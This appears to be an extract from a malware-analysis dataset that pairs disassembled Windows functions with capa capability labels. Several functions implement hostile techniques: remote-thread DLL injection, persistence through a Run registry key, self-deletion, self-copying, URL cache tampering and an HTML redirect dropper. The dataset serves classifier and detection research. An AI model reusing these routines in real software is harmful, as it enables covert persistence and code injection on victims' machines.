joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40a40c
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
mov ebx, dword [ebp + 0x14]
mov edi, 0x2cd1212
mov eax, edi
mul edi
mov dword [ebp - 0x10], eax
mov edi, eax
add eax, edi
mov edi, eax
push dword [ebp + 8]
call sub.KERN_lstrlenA
mov edx, eax
mov word [ebp - 2], dx
push dword [ebp + 0xc]
call sub.KERN_lstrlenA
mov edx, eax
mov word [ebp - 4], dx
push dword [ebp + 0x10]
call sub.KERN_lstrlenA
mov edx, eax
mov word [ebp - 0xa], dx
mov eax, edi
mul edi
mov dword [ebp - 0x14], eax
mov edi, eax
push ebx
call sub.KERN_lstrlenA
mov edx, eax
mov word [ebp - 0xc], dx
movzx eax, word [ebp - 2]
movzx edx, word [ebp - 4]
add eax, edx
movzx edx, word [ebp - 0xa]
add eax, edx
movzx edx, word [ebp - 0xc]
lea eax, [eax + edx + 0x28]
push eax
push 0
call sub.KERN_LocalAlloc
mov esi, eax
xor eax, eax
cmp dword [ebp + 0x1c], 1
sete al
mov dword [ebp - 0x18], eax
mov byte [esi], al
xor edi, 0x2d0a
push 4
lea eax, [ebp + 0x18]
push eax
mov eax, esi
inc eax
push eax
call fcn.0040c74c
add esp, 0xc
push dword [ebp + 8]
mov eax, esi
add eax, 5
push eax
call fcn.0040c234
mov eax, edi
sub eax, edi
mov edi, eax
push dword [ebp + 0xc]
movzx eax, word [ebp - 2]
lea eax, [esi + eax + 5]
inc eax
push eax
call fcn.0040c234
push dword [ebp + 0x10]
movzx eax, word [ebp - 2]
lea eax, [esi + eax + 5]
movzx edx, word [ebp - 4]
lea eax, [eax + edx + 2]
push eax
call fcn.0040c234
push ebx
movzx eax, word [ebp - 2]
lea eax, [esi + eax + 5]
movzx edx, word [ebp - 4]
add eax, edx
movzx edx, word [ebp - 0xa]
lea eax, [eax + edx + 3]
push eax
call fcn.0040c234
lea eax, [ebp - 8]
push eax
push 0
push esi
push 0x40a029
push 0
push 0
call sub.KERN_CreateThread
mov esi, eax
mov eax, edi
xor eax, edi
mov edi, eax
push 0xffffffffffffffff
push esi
call sub.KERN_WaitForSingleObject
lea eax, [ebp - 8]
push eax
push esi
call sub.KERN_GetExitCodeThread
push esi
call sub.KERN_CloseHandle
mov eax, edi
add eax, edi
mov edi, eax
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40a550
Capabilities:
Enumerate internet cache

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1f48
call fcn.0040c214
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
mov edi, 0x53932bf7
mov eax, edi
add eax, edi
mov edi, eax
add eax, edi
mov edi, eax
mov dword [ebp - 0x1f44], 0x1f40
mov eax, edi
mul edi
mov dword [ebp - 0x1f48], eax
mov edi, eax
lea eax, [ebp - 0x1f44]
push eax
lea eax, [ebp - 0x1f40]
push eax
push 0x42e96d
call sub.WININET.DLL_FindFirstUrlCacheEntryA
mov esi, eax
or eax, eax
je 0x40a63c
mov eax, edi
sub eax, edi
mov edi, eax
push ebx
push dword [ebp - 0x1f3c]
call fcn.0040c728
add esp, 8
or eax, eax
jne 0x40a5dc
push dword [ebp - 0x1f38]
push dword [ebp + 0xc]
call fcn.0040c234
xor eax, eax
inc eax
jmp 0x40a63c
mov dword [ebp - 0x1f44], 0x1f40
xor edi, 0x3bb8
lea eax, [ebp - 0x1f44]
push eax
lea eax, [ebp - 0x1f40]
push eax
push esi
call sub.WININET.DLL_FindNextUrlCacheEntryA
or eax, eax
je 0x40a632
push ebx
push dword [ebp - 0x1f3c]
call fcn.0040c728
add esp, 8
or eax, eax
jne 0x40a630
push dword [ebp - 0x1f38]
push dword [ebp + 0xc]
call fcn.0040c234
mov eax, edi
xor eax, edi
mov edi, eax
xor eax, eax
inc eax
jmp 0x40a63c
jmp 0x40a5dc
xor eax, eax
jmp 0x40a63c
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40a641
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x200c
call fcn.0040c214
push ebx
push esi
push edi
mov esi, dword [ebp + 8]
mov edi, 0x67c556c8
mov eax, edi
add eax, edi
mov edi, eax
xor eax, edi
mov edi, eax
push esi
push 0x104
call sub.KERN_GetTempPathA
mov eax, 0x1936
mul edi
mov dword [ebp - 0x2008], eax
mov edi, eax
mov ecx, esi
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x40a682
mov edx, eax
push 8
mov ecx, esi
add ecx, edx
push ecx
call fcn.00401463
add esp, 8
push str..htm
push esi
call fcn.0040c7ac
add esp, 8
push dword [ebp + 0xc]
push dword [ebp + 0x10]
push str.xIEPo_ter
push str._HTML__HEAD__TITLE__s_u__TITLE___HEAD__BODY__script_function_qqw__self.parent.location__s__setTimeout__qqw____10000____script___BODY___HTML_
lea eax, [ebp - 0x2000]
push eax
call fcn.0040c788
add esp, 0x14
mov eax, edi
add eax, edi
mov edi, eax
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push esi
call sub.KERN_CreateFileA
mov ebx, eax
add edi, 0x6d3d
lea eax, [ebp - 0x2000]
push eax
call sub.KERN_lstrlenA
push 0
lea esi, [ebp - 0x2004]
push esi
push eax
lea esi, [ebp - 0x2000]
push esi
push ebx
call sub.KERN_WriteFile
push ebx
call sub.KERN_CloseHandle
sub edi, 0x50d5
mov eax, 1
jmp 0x40a732
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40aab6
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
mov edi, 0x14840ebc
mov eax, edi
xor eax, edi
mov edi, eax
mul edi
mov dword [ebp - 8], eax
mov edi, eax
push ebx
call sub.KERN_lstrlenA
mov dword [ebp - 0xc], eax
push dword [ebp + 0xc]
call sub.KERN_lstrlenA
mov edx, dword [ebp - 0xc]
lea edx, [edx + eax + 0x10]
push edx
push 0x40
call sub.KERN_LocalAlloc
mov esi, eax
push ebx
push esi
call fcn.0040c234
push ebx
call sub.KERN_lstrlenA
push dword [ebp + 0xc]
lea edx, [esi + eax + 1]
push edx
call fcn.0040c234
mov eax, edi
add eax, edi
mov edi, eax
push ebx
call sub.WININET.DLL_DeleteUrlCacheEntry
lea eax, [ebp - 4]
push eax
push 0
push esi
push 0x40a737
push 0
push 0
call sub.KERN_CreateThread
mov esi, eax
push 0xffffffffffffffff
push esi
call sub.KERN_WaitForSingleObject
mov eax, 0x24b3
mul edi
mov dword [ebp - 0x10], eax
mov edi, eax
lea eax, [ebp - 4]
push eax
push esi
call sub.KERN_GetExitCodeThread
push esi
call sub.KERN_CloseHandle
mov eax, dword [ebp - 4]
jmp 0x40ab68
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40b504
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x11e0
call fcn.0040c214
push esi
push edi
mov esi, 0x598570f4
add esi, 0x38d8
add dword [0x42c094], 8
shl dword [0x42c094], 1
inc dword [0x42c094]
sub esi, 0x1f23
mov dword [ebp - 0x11c8], 0x10
mov eax, esi
xor eax, esi
mov esi, eax
push 0x3f
push 0x417400
call fcn.0040c7b8
add esp, 8
or eax, eax
je 0x40b6e7
add esi, 0x2b6b
push 0x417400
lea eax, [ebp - 0x904]
push eax
call fcn.0040c234
push 0x3f
lea eax, [ebp - 0x904]
push eax
call fcn.0040c7b8
mov byte [eax], 0
mov eax, esi
sub eax, esi
mov esi, eax
lea eax, [ebp - 0x914]
push eax
call sub.KERN_GetLocalTime
mov eax, esi
add eax, esi
mov esi, eax
lea eax, [ebp - 0x11c4]
push eax
call sub.KERN_GetTimeZoneInformation
lea eax, [ebp - 0x904]
push eax
call sub.KERN_lstrlenA
mov dword [ebp - 0x11dc], eax
movzx edi, word [ebp - 0x908]
push edi
movzx edi, word [ebp - 0x90a]
push edi
movzx edi, word [ebp - 0x90c]
push edi
mov eax, dword [ebp - 0x11c4]
mov edx, eax
mov eax, 0x88888889
mov ecx, edx
imul edx
mov eax, ecx
add edx, eax
sar edx, 5
sar eax, 0x1f
sub eax, edx
push eax
push dword [0x42c0b8]
push 0x418d90
movzx edi, word [0x42c0ac]
push edi
movzx edi, word [0x42c0a8]
push edi
push 0x42eec4
mov edi, dword [ebp - 0x11dc]
lea edi, [ebp + edi - 0x903]
push edi
lea edi, [ebp - 0x1118]
push edi
call fcn.0040c788
mov eax, esi
mul esi
mov dword [ebp - 0x11e0], eax
mov esi, eax
push 0x42b2e0
push 0x42ee50
lea eax, [ebp - 0x104]
push eax
call fcn.0040c788
lea eax, [ebp - 0x104]
push eax
call sub.KERN_lstrlenA
push 0xc
lea edi, [ebp + eax - 0x104]
push edi
call fcn.00401463
sub esi, 0x39f1
lea eax, [ebp - 0x1118]
push eax
lea eax, [ebp - 0x104]
push eax
call fcn.00406e1a
push 0
push 0
push 0x42e801
push str.alive
lea eax, [ebp - 0x904]
push eax
lea eax, [ebp - 0x104]
push eax
call fcn.0040a40c
add esp, 0x68
mov dword [ebp - 0x918], eax
add esi, 0x8d0
lea eax, [ebp - 0x104]
push eax
call sub.KERN_DeleteFileA
cmp dword [ebp - 0x918], 0
je 0x40b6d8
inc dword [0x42c0b8]
xor esi, 0x691e
xor eax, eax
inc eax
jmp 0x40b6e7
and dword [0x42c0b8], 0
mov eax, esi
add eax, esi
mov esi, eax
xor eax, eax
pop edi
pop esi
leave
ret

Function at 0x40b740
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
mov edi, 0x612f0d78
xor edi, 0x462
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0x40b6eb
push 0
push 0
call sub.KERN_CreateThread
push eax
call sub.KERN_CloseHandle
pop edi
leave
ret 0x10
Function at 0x40c1b0
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
call sub.KERN_GetCommandLineA
mov edi, eax
cmp byte [edi], 0x22
jne 0x40c1e4
push 0x22
mov eax, edi
inc eax
push eax
call fcn.0040c7b8
add esp, 8
mov dword [ebp - 4], eax
or eax, eax
je 0x40c1ff
mov edi, eax
inc edi
jmp 0x40c1dc
inc edi
cmp byte [edi], 0x20
je 0x40c1db
jmp 0x40c1ff
inc edi
movsx eax, byte [edi]
or eax, eax
je 0x40c1f0
cmp eax, 0x20
jne 0x40c1e3
jmp 0x40c1f3
inc edi
movsx eax, byte [edi]
or eax, eax
je 0x40c1ff
cmp eax, 0x20
je 0x40c1f2
push 0
call sub.KERN_GetModuleHandleA
push 1
push edi
push 0
push eax
call fcn.0040ac7e
pop edi
leave
ret
Function at 0x61e813a5
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x448
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x114]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
mov dword [esp + 4], 0x5c
lea eax, [ebp - 0x114]
mov dword [esp], eax
call sym._strrchr
mov dword [ebp - 0xc], eax
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
lea eax, [ebp - 0x218]
mov dword [esp], eax
call sym._strcpy
lea eax, [ebp - 0x114]
mov dword [esp + 4], eax
lea eax, [ebp - 0x31c]
mov dword [esp], eax
call sym._strcpy
mov dword [esp + 4], 0x5c
lea eax, [ebp - 0x31c]
mov dword [esp], eax
call sym._strrchr
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov byte [eax], 0
lea eax, [ebp - 0x420]
mov dword [eax], 0x74666f53
mov dword [eax + 4], 0x65726177
mov dword [eax + 8], 0x63694d5c
mov dword [eax + 0xc], 0x6f736f72
mov dword [eax + 0x10], 0x575c7466
mov dword [eax + 0x14], 0x6f646e69
mov dword [eax + 0x18], 0x435c7377
mov dword [eax + 0x1c], 0x65727275
mov dword [eax + 0x20], 0x6556746e
mov dword [eax + 0x24], 0x6f697372
mov dword [eax + 0x28], 0x75525c6e
mov word [eax + 0x2c], 0x6e
lea eax, [ebp - 0x424]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0
lea eax, [ebp - 0x420]
mov dword [esp + 4], eax
mov dword [esp], 0x80000001
call sym._RegOpenKeyExA_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x61e814da
mov dword [esp], str.Error:_Can_not_open_the_registry_key.
call sym._puts
jmp 0x61e8154b
lea eax, [ebp - 0x114]
mov dword [esp], eax
call sym._strlen
mov edx, eax
mov eax, dword [ebp - 0x424]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x114]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
lea edx, [ebp - 0x218]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x61e8153a
mov dword [esp], str.Error:_Can_not_add_the_value_to_the_registry_key.
call sym._puts
jmp 0x61e8154b
mov eax, dword [ebp - 0x424]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
leave
ret
Function at 0x61e815bb
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], sym._LoadLibraryA_4
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x14], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret

Function at 0x61e81947
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
mov dword [esp], 0x1388
call sym._Sleep_4
sub esp, 4
lea eax, [ebp - 0x10c]
mov dword [esp], eax
call sym._DeleteFileA_4
sub esp, 4
nop
leave
ret

Function at 0x61e81cd0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x61e8603c
call sym._EnterCriticalSection_4
mov ebx, dword [0x61e86034]
sub esp, 4
test ebx, ebx
je 0x61e81d1b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x61e81d14
test esi, esi
je 0x61e81d14
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x61e81cf0
mov dword [esp], 0x61e8603c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x61e81f00
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], 0x61e842ac
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]
Function at 0x61e81f50
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x61e82028
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x61e81f8e
cmp eax, 4
jne 0x61e81fb0
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x61e81f9e
cmp edx, 4
je 0x61e81f9e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.61e81f00
Function at 0x403e97
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
push esi
push 4
push 5
lea eax, [ebp - 0x14]
push 2
push eax
call fcn.0040372f
add esp, 0x10
lea eax, [ebp - 0x118]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x14]
push esi
push 0
push eax
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
push esi
call fcn.00403f05
push esi
call fcn.00407840
pop ecx
pop ecx
dec eax
js 0x403ef3
cmp byte [eax + esi], 0x2e
jne 0x403eea
add eax, esi
push 0x4101dc
push eax
call fcn.00407750
pop ecx
pop ecx
pop esi
leave
ret

Function at 0x403f05
Capabilities:
Delete file
Set file attributes

Disassembly:
push 0x20
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
ret

Function at 0x403f1c
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x348
push esi
push edi
push dword [ebp + 8]
lea eax, [ebp - 0x208]
xor esi, esi
push eax
call fcn.00407750
lea eax, [ebp - 0x208]
push eax
call fcn.00407840
add esp, 0xc
test eax, eax
je 0x403f62
cmp byte [ebp + eax - 0x209], 0x5c
lea eax, [ebp + eax - 0x209]
jne 0x403f62
and byte [eax], 0
push 1
pop esi
lea eax, [ebp - 0x208]
push 0x40f0b0
push eax
call fcn.00407760
pop ecx
lea eax, [ebp - 0x348]
pop ecx
push eax
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x404068
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push eax
call fcn.00407750
pop ecx
test esi, esi
pop ecx
jne 0x403fbc
lea eax, [ebp - 0x104]
push 0x40f044
push eax
call fcn.00407760
pop ecx
pop ecx
lea eax, [ebp - 0x31c]
push eax
lea eax, [ebp - 0x104]
push eax
call fcn.00407760
test byte [ebp - 0x348], 0x10
pop ecx
pop ecx
je 0x404035
lea eax, [ebp - 0x31c]
push 0x40f0ac
push eax
call fcn.00407660
pop ecx
test eax, eax
pop ecx
je 0x40404b
lea eax, [ebp - 0x31c]
push 0x40f0a8
push eax
call fcn.00407660
pop ecx
test eax, eax
pop ecx
je 0x40404b
push dword [ebp + 0x10]
lea eax, [ebp - 0x104]
push 1
push eax
call dword [ebp + 0xc]
add esp, 0xc
test eax, eax
je 0x40404b
push dword [ebp + 0x10]
lea eax, [ebp - 0x104]
push dword [ebp + 0xc]
push eax
call fcn.00403f1c
add esp, 0xc
jmp 0x40404b
push dword [ebp + 0x10]
lea eax, [ebp - 0x104]
push 0
push eax
call dword [ebp + 0xc]
add esp, 0xc
test eax, eax
je 0x404061
lea eax, [ebp - 0x348]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x403f94
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
xor eax, eax
pop esi
leave
ret
Function at 0x40704c
Capabilities:
Copy file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2590
call fcn.00407f60
mov eax, dword [ebp + 0x10]
push ebx
push esi
mov esi, dword [ebp + 0xc]
xor ebx, ebx
push edi
cmp dword [ebp + 0x14], ebx
mov dword [ebp - 4], esi
mov dword [ebp - 8], eax
jne 0x407080
push dword [ebp + 8]
call fcn.00404825
test eax, eax
pop ecx
jne 0x4071be
mov edi, str.f_zj
push ebx
push edi
call fcn.004034ae
pop ecx
cmp esi, ebx
pop ecx
mov dword [ebp + 0xc], eax
jge 0x4070a4
push ebx
call fcn.004047b6
xor edx, edx
pop ecx
div dword [ebp + 0xc]
mov dword [ebp - 4], edx
mov esi, 0x4101dc
push ebx
push esi
call fcn.004034ae
cmp dword [ebp + 0x10], ebx
pop ecx
pop ecx
mov dword [ebp + 0xc], eax
jge 0x4070c9
push ebx
call fcn.004047b6
xor edx, edx
pop ecx
div dword [ebp + 0xc]
mov dword [ebp - 8], edx
lea eax, [ebp - 0x10c]
push eax
call fcn.00403e97
lea eax, [ebp - 0x314]
mov dword [esp], 0x104
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x10c]
push ebx
push eax
lea eax, [ebp - 0x314]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x4071be
lea eax, [ebp - 0x10c]
push 0x20
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x227a
lea eax, [ebp - 0x2590]
push 0x40f0c0
push eax
call fcn.00407c00
lea eax, [ebp - 0x2590]
mov byte [ebp - 0x157c], bl
push eax
lea eax, [ebp - 0x10c]
push eax
call fcn.00405705
push ebx
call fcn.004047b6
xor edx, edx
mov ecx, 0x2800
div ecx
lea eax, [ebp - 0x10c]
add edx, 0x15200
push edx
push eax
call fcn.0040406e
push dword [ebp - 4]
push edi
call fcn.0040347e
push eax
lea eax, [ebp - 0x210]
push eax
call fcn.00407750
push dword [ebp - 8]
push esi
call fcn.0040347e
push eax
lea eax, [ebp - 0x210]
push eax
call fcn.00407760
add esp, 0x40
lea eax, [ebp - 0x210]
push dword [ebp + 0x14]
push eax
lea eax, [ebp - 0x10c]
push eax
push dword [ebp + 8]
call fcn.00405226
lea eax, [ebp - 0x10c]
push eax
call fcn.00403f05
add esp, 0x14
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4072f2
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push edi
lea eax, [ebp - 4]
xor edi, edi
push eax
push edi
push edi
push 0x4015ff
push edi
push edi
call esi
lea eax, [ebp - 4]
push eax
push edi
push edi
push 0x406608
push edi
push edi
call esi
lea eax, [ebp - 4]
push eax
push edi
push edi
push 0x406dde
push edi
push edi
call esi
lea eax, [ebp - 4]
push eax
push edi
push edi
push 0x406066
push edi
push edi
call esi
lea eax, [ebp - 4]
push eax
push edi
push edi
push 0x4071cd
push edi
push edi
call esi
lea eax, [ebp - 4]
push eax
push edi
push edi
push 0x406fd5
push edi
push edi
call esi
xor ebx, ebx
lea eax, [ebp - 4]
push eax
push edi
push ebx
push 0x406f88
push edi
push edi
call esi
inc ebx
cmp ebx, 0x1a
jl 0x40735d
call fcn.004071c3
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000e7c3
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
mov esi, ecx
mov ebx, edx
push edi
push esi
mov dword [ebp - 8], esi
call fcn.10074df8
pop ecx
test eax, eax
jne 0x1000e866
push 2
push eax
push esi
call fcn.10075f89
push esi
call fcn.100714c4
push 0
push 0
push esi
mov edi, eax
call fcn.10075f89
mov eax, dword [ebx + 4]
add esp, 0x1c
mov edx, dword [ebx]
mov ecx, eax
sub ecx, edx
mov dword [ebp - 4], eax
cmp edi, ecx
jae 0x1000e815
lea eax, [edx + edi]
jmp 0x1000e845
jbe 0x1000e848
mov eax, dword [ebx + 8]
sub eax, edx
cmp edi, eax
jbe 0x1000e82b
push ecx
push edi
mov ecx, ebx
call fcn.100284e2
jmp 0x1000e848
mov esi, edi
sub esi, ecx
push esi
push 0
push dword [ebp - 4]
call fcn.1006db70
mov eax, dword [ebp - 4]
add esp, 0xc
add eax, esi
mov esi, dword [ebp - 8]
mov dword [ebx + 4], eax
push esi
push edi
push 1
push dword [ebx]
call fcn.1007e62a
add esp, 0x10
cmp eax, edi
jne 0x1000e866
push esi
call fcn.10075a3e
pop ecx
pop edi
pop esi
pop ebx
leave
ret
push str.error_reading_from_file
lea ecx, [ebp - 0x14]
call fcn.10001781
push 0x100ecf04
lea eax, [ebp - 0x14]
push eax
call fcn.1006d4c7
int3

Function at 0x1000ec3a
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
cmp dword [ecx + 0x14], 0xf
mov eax, ecx
push esi
push edi
mov esi, 0x811c9dc5
jbe 0x1000ec4f
mov eax, dword [ecx]
mov edi, eax
jmp 0x1000ec51
mov edi, ecx
mov ecx, dword [ecx + 0x10]
mov edx, eax
add ecx, edi
cmp eax, ecx
je 0x1000ec6c
movsx eax, byte [edx]
xor eax, esi
imul esi, eax, 0x1000193
inc edx
cmp edx, ecx
jne 0x1000ec5c
pop edi
mov eax, esi
pop esi
ret
Function at 0x1001447f
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub dword [ebp + 0xc], 1
jne 0x100144a3
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
xor eax, eax
push eax
push eax
push eax
push 0x10014ccd
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor eax, eax
inc eax
pop ebp
ret 0xc

Function at 0x100144aa
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x100ef900]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, ecx
mov dword [ebp - 0xc], edx
push esi
push edi
mov dword [ebp - 8], ebx
mov edi, ebx
mov dword [ebp - 8], ebx
xor eax, eax
push 0x256d
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor edi, edi
mov dword [ebx], edi
mov dword [ebx + 4], edi
mov dword [ebx + 8], edi
call fcn.10021282
mov esi, eax
mov dword [esp], 0x256d
push edi
mov dword [ebx], esi
push esi
lea eax, [esi + 0x256d]
mov dword [ebx + 8], eax
call fcn.1006db70
lea eax, [esi + 0x256d]
add esp, 0xc
mov dword [ebx + 4], eax
mov eax, dword [ebp - 0xc]
cmp dword [eax + 0x14], 7
jbe 0x10014515
mov eax, dword [eax]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push edi
push edi
mov esi, eax
push 0xbb234
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push edi
lea eax, [ebp - 8]
push eax
push 0x256d
push dword [ebx]
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1006bae9
leave
ret